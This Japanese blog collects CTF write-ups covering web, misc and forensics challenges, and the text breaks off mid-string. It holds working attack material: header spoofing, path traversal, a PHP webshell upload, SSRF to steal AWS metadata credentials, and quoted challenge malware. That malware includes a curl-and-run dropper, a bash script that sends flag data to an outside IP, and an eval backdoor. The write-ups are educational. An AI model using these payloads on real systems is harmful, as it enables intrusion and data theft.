はまやんはまやんはまやん

hamayanhamayan's blog

DownUnderCTF 2023 Writeups

[web] proxed

ソースコードが与えられるので、まずはソースコードを読んでみよう。
まず、Dockerfileを読むと、golangで書かれているくらいしか情報量がない。
go.modも気になる情報はない。
main.goを読んでいく。
ものすごい簡潔なソースコードでありがたい。

package main

import (
    "flag"
    "fmt"
    "log"
    "net/http"
    "os"
    "strings"
)

var (
    port = flag.Int("port", 8081, "The port to listen on")
)

func main() {

    flag.Parse()

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }
    })

    log.Printf("Listening on port %d", *port)
    log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil))
}

内容としてはIPアドレス31.33.33.7であればフラグがもらえる。
どうやってIPアドレスを確認しているかというと、
xff := r.Header.Values("X-Forwarded-For")
の部分で、つまり、GETリクエストのリクエストヘッダーとしてX-Forwarded-For: 31.33.33.7を追加すればいい。

リクエストヘッダーの追加をブラウザのみでやるのは面倒なので、以下のような手段で頑張る。
どれを使ってもいいが、Burp Suiteで自分はいつもやってる。

  • Burp Suiteのようなプロキシツールを使う
  • PostmanみたいなHTTPリクエストが便利に叩けるツールを使う
  • curlみたいなCLIベースの色々追加できるツールを使う

Burp Suiteを使ったとすると、普通に組み込みのChroniumブラウザで開くとリクエストは以下のように記録される。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 [編集済み]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

このリクエストをRepeaterに送って、ヘッダーを追加して送るとフラグがもらえる。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
X-Forwarded-For: 31.33.33.7

[web] static file server

/flag.txtを取得するのが目的の問題。
ソースコードも与えられていて、メインの部分は以下だけ。

app = web.Application()
app.add_routes([
    web.get('/', index),

    # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690
    web.static('/files', './files', follow_symlinks=True)
])
web.run_app(app)

/filesエンドポイントでファイルが取得できる。
明白に脆弱な所はなさそうだが、とりあえずパストラバーサルを以下のように試すとフラグがもらえた。
aiohttpのweb.staticはパストラバーサルに対して脆弱なようだ。

GET /files/../../flag.txt HTTP/2
Host: web-static-file-server-9af22c2b5640.2023.ductf.dev

[web] xxd-server

/flagを読み取る問題。
ソースコードが与えられているので読む。
ファイルをアップロードすると、xxdコマンドのような形でhexを返してくれるサイトが与えられる。
以下、POST時のロジック。

if (isset($_FILES['file-upload'])) {
    $upload_dir = 'uploads/' . bin2hex(random_bytes(8));
    $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
    mkdir($upload_dir);
    $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
    if (file_put_contents($upload_path, $upload_contents)) {
        $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
    } else {
        $message = 'File upload failed.';
    }
}

/uploads/[ランダムな8bytesのhex]/[アップロードファイル名]のような感じで配置される。
アップロードファイル名はパストラバーサル対策しかされてないので、evil.phpみたいなものを配置すればphpが実行可能。
問題はxxd関数の処理。

// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
    $out = '';
    $ctr = 0;
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    return $out;
}

それほど細かく理解する必要はなく、出力結果から仕様を理解してもいい。
xxd関数でxxdのような出力を作っていて、16文字毎にhexに変換されている。
16文字を超えると、改行などが入って面倒なことになるので、16文字でいい感じのPHPコードが作れればいいが、それは実現可能。

<?=`$_GET[0]`;?>

これでRCEができるようになるので、/uploads/6d8ec737e2b4a4c3/a.php?0=cat%20/flagみたいにやればフラグ獲得。

[misc] helpless

指定のsshにつなぐと、pythonのhelp()が起動した状態で起動する。
ここから/home/ductf/flag.txtを読む問題。

こういう特定制約下にある環境から抜け出して色々頑張る問題をjail問題とか言ったりするが、
過去のそういう問題で使われたテクを使うと解けた。

まず、それほど大きくないコンソールでsshでつなげる。
次にhelp> strを実行。(help>は既にかいてあるのでstrを実行)
すると、strの中身が表示されるが、この時現在のコンソールに表示し切れない量の出力がされると、
Pagerのような画面が起動する。
これは実際はlessコマンドが実行されていて、このlessコマンドが悪用可能となる。
:e /home/ductf/flag.txtとすると任意のファイルを読み出すことができフラグが得られる。

[web] actually-proxed

全然気が付かず時間を溶かしてしまった。

proxy/main.goにリクエストが行き、ヘッダーを確認して、x-forwarded-forがあれば末尾にクライアントIPをつけて(プロキシが通常やるように)
secret_server/main.goにリクエストを飛ばす。secret_serverの方ではx-forwarded-forにある最後のIPが31.33.33.7であるかを確認している。
論点はヘッダーの処理だけなので、そのあたりのソースを抜粋する。

proxy/main.go

    for i, v := range headers {
        if strings.ToLower(v[0]) == "x-forwarded-for" {
            headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
            break
        }
    }

secret_server/main.go

        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        // 1337 hax0rz 0nly!
        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }

読んでToLowerとかの結果に差が出るのか?とかUnicodeか?とかやっている間に100solvesを超えてしまい、
最安の問題が400solvesとかなのにさすがに難しすぎるということで、適当にヘッダーをガチャガチャやっているとフラグが出てきた。

GET / HTTP/1.1
Host: actually.proxed.duc.tf:30009
Connection: close
X-Forwarded-For: 31.33.33.7
X-Forwarded-For: 31.33.33.7

これでフラグが出てくる。
proxy側で全部処理してる…と思っていたがbreakを見逃していた(!?)
ということで、proxy側では最初のX-Forwarded-Forしか処理しないが、secret_server側では最後のX-Forwarded-Forが使用されるので、
このあたりの仕様の違いを利用すればフラグが得られるという問題。

[web] grades_grades_grades

最終的には先生ユーザーを作って/grades_flagにアクセスすればフラグが得られる。
先生かどうかの判定は以下のようにやっていて、is_teacherがTrueである必要がある。

def is_teacher_role():
    # if user isn't authed at all
    if 'auth_token' not in request.cookies:
        return False
    token = request.cookies.get('auth_token')
    try:
        data = decode_token(token)
        if data.get('is_teacher', False):
            return True
    except jwt.DecodeError:
        return False
    return False 

以下のように通常の(生徒の)ユーザーは作れる。

@api.route('/signup', methods=('POST', 'GET'))
def signup():

...

    # get form data
    if request.method == 'POST':
        jwt_data = request.form.to_dict()
        jwt_cookie = current_app.auth.create_token(jwt_data)
        if is_teacher_role():
            response = make_response(redirect(url_for('api.index', is_auth=True, is_teacher_role=True)))
        else:
            response = make_response(redirect(url_for('api.index', is_auth=True)))
        
        response.set_cookie('auth_token', jwt_cookie, httponly=True)
        return response

    return render_template('signup.html')

JWTはHS256で署名されてて、攻撃可能な部分は見当たらない。
問題があるのは呼び出し側の方でcurrent_app.auth.create_token(jwt_data)という風に作成をしているが、
jwt_dataはjwt_data = request.form.to_dict()のように外部入力をそのまま入れ込んでいる。
よって、通常はPOST /signup

stu_num=test&stu_email=test%40example.com&password=test

のように入力を入れるが、

stu_num=test&stu_email=test%40example.com&password=test&is_teacher=true

のように入れることで意図せぬ項目を入れ込むことができる。
これで先生アカウントが作れたのでこれを使ってGET /grades_flagするとフラグ獲得。

[web] cgi fridays

   if ($page =~ /^stat|io|maps$/) {
        return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1';
        return "/proc/self/$page";
    }

ここが脆弱なポイント。
正規表現/^stat|io|maps$/はうまく動いていそうに見えるが、^statiomaps$のorになっている。
よって1番目の条件を使うと先頭がstatならなんでも通ってしまう。
これにより、その後の"/proc/self/$page"に対してstat/../../../flag.txtとするとパストラバーサル可能。

残った問題はその前のremote_addr条件の回避である。
呼び出し時にmy $file_path = route_request($q->param('page'), $ENV{'REMOTE_ADDR'});のようにREMOTE_ADDRを持ってきて、
関数先でmy ($page, $remote_addr) = @_;のように取得して使っている。
猛烈ググったが何も出てこない…solvesが60を超えてきたので、単純な何かを見逃していそうな雰囲気がある。
と思って、色々試すと以下のように回避できた。
GET /?page=stat&page=127.0.0.1
恐らくだが、引数を渡すときに配列を渡すと分解されて引数をねじ込むことができるのだろう。
とにかく、GET /?page=stat&page=127.0.0.1のようにすると、remote_addr判定が回避可能。

組み合わせると、GET /?page=stat/../../../flag.txt&page=127.0.0.1なのだが、うまくいかない。
あれっと思ってコンテナ内部でcat /proc/self/stat/../../../flag.txtをやってみるとエラーになる。
だがcat /proc/self/../../flag.txtは動く。
存在するフォルダを置かないといけないっぽい。
そうなると正規表現のioのマッチング部分をうまく使ってパスにioを含ませながらflag.txtへ行けばよさそう。

chatgptでコマンドを作ってもらい、find / -type d -name "*io*"で探すと使えそうなものが見つかる。
たくさん見つかるが/usr/include/linux/iioを使った。
cat /proc/self/../../usr/include/linux/iio/../../../../flag.txtがちゃんと動く。
ということでGET /?page=../../usr/include/linux/iio/../../../../flag.txt&page=127.0.0.1でフラグ獲得

Intigriti (XSS) Challenge Writeupまとめ

Monthly Challenges - Intigritiで開催されてる問題に対するWriteup記事をただまとめたもの。
過去のWriteup記事は復習したら書く。復習したら書くと思うが、復習のやる気がいつ起きるかは不明。
時間がたつとTwitterで記事を探すのが大変になるので、見つけた時点で雑多に置いておくことにした。
XSSだけかと思ったら、そうでもないみたい。

Security-JAWS DAYS CTF Writeups

[Hard] AWS Pentesting Journey

まず、nginx.confを見ると以下の箇所でいつものパストラバーサルがある。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb

        location /assets {
                alias /usr/share/static/;
        }

これを利用して以下のように/usr/share/secret/.htpasswdを取ってくる。

GET /assets../secret/.htpasswd HTTP/1.1
Host: apjweb.scjdaysctf2023.net
Connection: close

sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY.と得られる。
johnでクラックしてみるとクラックできてパスワードが得られる。
password (sjctf@dmin)
この認証情報で/admin/に入れる。
phpMyAdminが動いているが何か面白そうなものは得られない。

                location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                        proxy_pass http://$proxy_host/$proxy_path;
                        proxy_set_header Host $proxy_host;
                }

なんかSSRFできそうな雰囲気があり、調べるとSSRFできる。
https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
よって
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/
みたいにしてみると、いつもの出力が得られるので巡回する。

http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
ここを見ると認証情報が得られる。

            "AccessKeyId" : "[REDACTED]",
            "SecretAccessKey" : "[REDACTED]",
            "Token" : "[REDACTED]",

これを以下のように入れて、

[ctf-hard-aws-pentesting-journey]
aws_access_key_id = [REDACTED]
aws_secret_access_key = [REDACTED]
aws_session_token = [REDACTED]

色々巡回すると、S3に面白そうなファイルが置いてある。

$ aws s3 ls --profile ctf-hard-aws-pentesting-journey
2023-08-13 23:13:07 backup-37szjp8pny7xx01
2023-08-26 22:43:13 camouflagedrop-wxhqft4lqf-assets-wxhqft4lqf-assets
2023-08-26 22:39:22 camouflagedrop-wxhqft4lqf-web-wxhqft4lqf-static
2023-08-22 20:16:14 cdk-hnb659fds-assets-055450064556-ap-northeast-1
2023-08-25 03:05:46 file-storage-afeffefespntbaiw7o5
2023-08-06 21:55:59 himituno-bucket1
2023-08-06 21:58:33 himituno-bucket2
2023-08-06 23:08:46 himituno-bucket3
2023-08-27 02:41:30 my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-22 20:56:47 s3misssignurl-t6j4qj4r-assets-t6j4qj4r-assets-bucket
2023-08-22 20:52:31 s3misssignurl-t6j4qj4r-web-t6j4qj4r-static-host-bucket
2023-08-24 04:24:09 totemo-kawaii-neko-no-namae-ha-lise-desu
2023-08-27 01:18:59 ulxmhiw3jroec7sclynr06fkvhqssf

$ aws s3 ls s3://backup-37szjp8pny7xx01 --profile ctf-hard-aws-pentesting-journey
                           PRE dbbackup/
2023-08-14 03:02:43         99 dboperator_accessKeys.csv

$ aws s3 cp s3://backup-37szjp8pny7xx01 . --profile ctf-hard-aws-pentesting-journey --recursive

何やら大切そうなデータが見つかる。
別のDBオペレータのアクセスキーが入っている。

$ aws configure --profile ctf-hard-aws-pentesting-journey-dboperator
AWS Access Key ID [None]: [REDACTED]
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: ap-northeast-1
Default output format [None]:

$ aws sts get-caller-identity --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "UserId": "[REDACTED]",
    "Account": "[REDACTED]",
    "Arn": "arn:aws:iam::055450064556:user/dboperator"
}

$ aws iam list-attached-user-policies --user-name dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "AttachedPolicies": [
        {
            "PolicyName": "dboperator",
            "PolicyArn": "arn:aws:iam::055450064556:policy/dboperator"
        }
    ]
}

$ aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "Policy": {
        "PolicyName": "dboperator",
        "PolicyId": "[REDACTED]",
        "Arn": "arn:aws:iam::055450064556:policy/dboperator",
        "Path": "/",
        "DefaultVersionId": "v6",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-13T18:18:19+00:00",
        "UpdateDate": "2023-08-13T18:57:09+00:00",
        "Tags": []
    }
}

$ aws iam get-policy-version --version-id v6 --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:List*",
                        "lambda:GetFunction",
                        "lambda:InvokeFunction"
                    ],
                    "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:Get*",
                        "iam:List*"
                    ],
                    "Resource": [
                        "arn:aws:iam::055450064556:policy/dboperator",
                        "arn:aws:iam::055450064556:user/dboperator"
                    ]
                }
            ]
        },
        "VersionId": "v6",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-13T18:57:09+00:00"
    }
}

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Location": "[REDACTED]"

lambdaの関数が参照可能。DBバックアップのために実行しているlambdaのスクリプトっぽい…が何もない。
バージョンを見てみると、複数バージョンあった。

$ aws lambda list-versions-by-function --function-name 'db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Version": "1",
"Version": "2",

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator --qualifier 1
...
"Location": "[REDACTED]"

古いバージョンのコードが取得でき、こちらでは認証情報がそのまま格納されていた。
これを使って、phpmyadminに入るとフラグが入ったsecretdataというデータベースが見つかる。

SekaiCTF 2023 Writeup

[Forensics] DEF CON Invitation

eml形式のメールが与えられる。
若干危なそうな要素があるらしいので、警告に従い、VM内で解析することにする。

中を見ると、base64エンコードされたHTMLメールとdc31-invite.icsという添付ファイルが入っている。
HTMLメールは特に気になる部分はない。
icsファイルの中身にいくつかURLがある、何か攻撃が発展できそうな部分を探すと、
https://ほにゃらら/defcon-nautilus/venue-guide.htmlに以下のような部分がある。

 <script>
        const ror = (message) => {
          const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
          return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
        }

        async function dd(dataurl, fileName) {
                const response = await fetch(dataurl);
                const blob = await response.blob();

                const link = document.createElement("a");
                link.href = URL.createObjectURL(blob);
                link.download = fileName;
                link.click();
        }
    
    window.onload = function() {
          const downloadButton = document.getElementById("downloadButton");
          downloadButton.onclick = function() {
            dd(ror('[REDACTED]'), ror('[REDACTED]').split("").reverse().join(""));
          }
    };
  </script>

[REDACTED]部分にエンコードされた文字列が入っている。
dd関数の役目としては、ファイルをダウンロードさせるような役目がある。
まじめにやってもいいが、dd関数の引数だけ取り出してconsole.logで持ってくると以下のようなURLからファイルを持ってきていた。
https://ほにゃらら/defcon-nautilus/venue-map.png.vbs
更に持ってくると、800行のvbsスクリプトが降ってくる。
リテラルをさっと眺めると、ランサムウェアっぽい。
まじめに読むのは骨が折れそうなので、部分的に動かしながら頑張る。

最後の行のExecuteの中身を動かして文字列化すると、とある接続先にjsonを送るスクリプトになっている。
見ながら動かしてみる。

$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"evilman"}' -H "Content-Type: application/json"
{"key":"compromised","msg":"Not admin!"}
$ curl -X POST 'http://[REDACTED]/sendUserData' -d '{"username":"admin"}' -H "Content-Type: application/json"
{"key":"02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY","msg":"Data compromised!"}

謎のkeyが得られる。
次に、ewkjunfw変数に謎の文字列が代入されているので、ewkjunfw = Replace("68IlllIllIII…とデコードに使っているOwOwO関数を持ってきて、
OwOwO(ewkjunfw)の結果を出力してみると、mediafireのURLが得られる。
ファイル名がdefcon.flag.png.XORedとなっていて、このファイルに対して先ほど得られたkeyをasciiとして解釈してXORするとPNGファイルとして復元でき、
中にフラグが書いてある。
pngファイルは大きすぎるので含まれないが、レシピはこんな感じ。
file:///home/kali/tools/cyberchef/CyberChef_v9.55.0.html#recipe=XOR(%7B'option':'UTF8','string':'02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY'%7D,'Standard',false)Render_Image('Raw')

[Forensics] Eval Me

pcapngファイルとnetcatの接続先が与えられる。
netcatの方をつないでみると

$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

1 * 9

このように計算して答えを出していく問題が与えられる。
一旦こっちは置いておいて、pcapngファイルを開いてみると前半はHTTPSで内容は分からないが、後半はHTTPで1byteずつhexを送っている。
特に得られる情報はなかったので、netcatの方のソルバーを書いて動かす。

from pwn import *

context.log_level = "debug"
p = remote("chals.sekai.team", 9000)

p.recvuntil(b':)')
p.recvuntil(b'\n')
for _ in range(100):
    p.recvuntil(b'\n')
    exp = p.recvuntil(b'\n')[:-1]
    p.sendline(str(eval(exp)))
    print(eval(exp))
p.interactive()

出力をぼーっと眺めていると

[DEBUG] Received 0xe bytes:
    b'correct\n'
    b'8 - 6\n'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
2
[DEBUG] Received 0xf bytes:
    b'correct\n'
    b'10 - 7\n'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
3
[DEBUG] Received 0x17c bytes:
    b'correct\n'
    b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r' 
    b'#1 + 2                                                                                                                                                                                   \n' 

途中でpythonで書かれたドロッパーが動く。
実装を見透かしたような出力で、CTFerは各位こういうことには注意しないといけない。
さすがSekaiCTF、倫理観が備わっており以下のような安全なコードだった。

#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

なるほど、flag.txtをs3k@1_v3ry_w0wを鍵としてXOR暗号化して送っている。
これがpcapngの後半に残っていたHTTP通信である。
なので、pcapngの後半のHTTP通信から、送信hexを持ってきて、この鍵でXORするとフラグが手に入る。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'s3k@1_v3ry_w0w'%7D,'Standard',false)&input=MjANCjc2DQoyMA0KMDENCjc4DQoyNA0KNDUNCjQ1DQo0Ng0KMTUNCjAwDQoxMA0KMDANCjI4DQo0Yg0KNDENCjE5DQozMg0KNDMNCjAwDQo0ZQ0KNDENCjAwDQowYg0KMmQNCjA1DQo0Mg0KMDUNCjJjDQowYg0KMTkNCjMyDQo0Mw0KMmQNCjA0DQo0MQ0KMDANCjBiDQoyZA0KMDUNCjQyDQoyOA0KNTINCjEyDQo0YQ0KMWYNCjA5DQo2Yg0KNGUNCjAwDQowZg

いいForensicsのEasy問題。

[Forensics] Infected

ランサムウェア被害が出たので調査する問題。
pcapngファイルと、保全されたwordpressフォルダが与えられる。

まずはpcapngファイルを眺めてみる。
MIME Multipart Media EncapsulationでPOST /wp-includes/date.phpが変に呼ばれている気がする。
/wp-includes/date.phpの中身を見てみるといかにも怪しい。
すぐこれを見つけられたのは運が良かった。これが見つからないと一生解けないかも…
ともあれ、変名しながら読むと以下のような感じ。

<?php

try {
    $attachment = $_FILES['file'];
    $fp = fopen($attachment['tmp_name'], "r");
    $raw_data = fread($fp,filesize($attachment['tmp_name']));
    $first_half = substr($raw_data, 0, strpos($raw_data, "..."));
    $second_half = substr($raw_data, strpos($raw_data, "...") + 3);
    $private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
    die("");
}

$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

if ($eval_code == "") {
    die("");
}
else {
    eval($eval_code);
}
?>

どれを使ってもいいが、pcapngファイルのtcp.stream eq 39にあるPOSTリクエストにある文字列を使って以下のようなデコードコードを書く。

<?php
$input = "NjP3wIfHVc817BrGQ1Cz7HUFVlLcx43Bh8lZ/DStNdu0CTMsSWX69nyVjRyCoCpUNUqEawNH7EA6j3du5xuvJRwSwi0Gv68PoVZsuQsxI1Bqj085QZC/DbVpsfTBfifhd92BzdPFH31oK5zKqdCdeiEZk1ZcS9EjbOGvgtC+Z+suLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH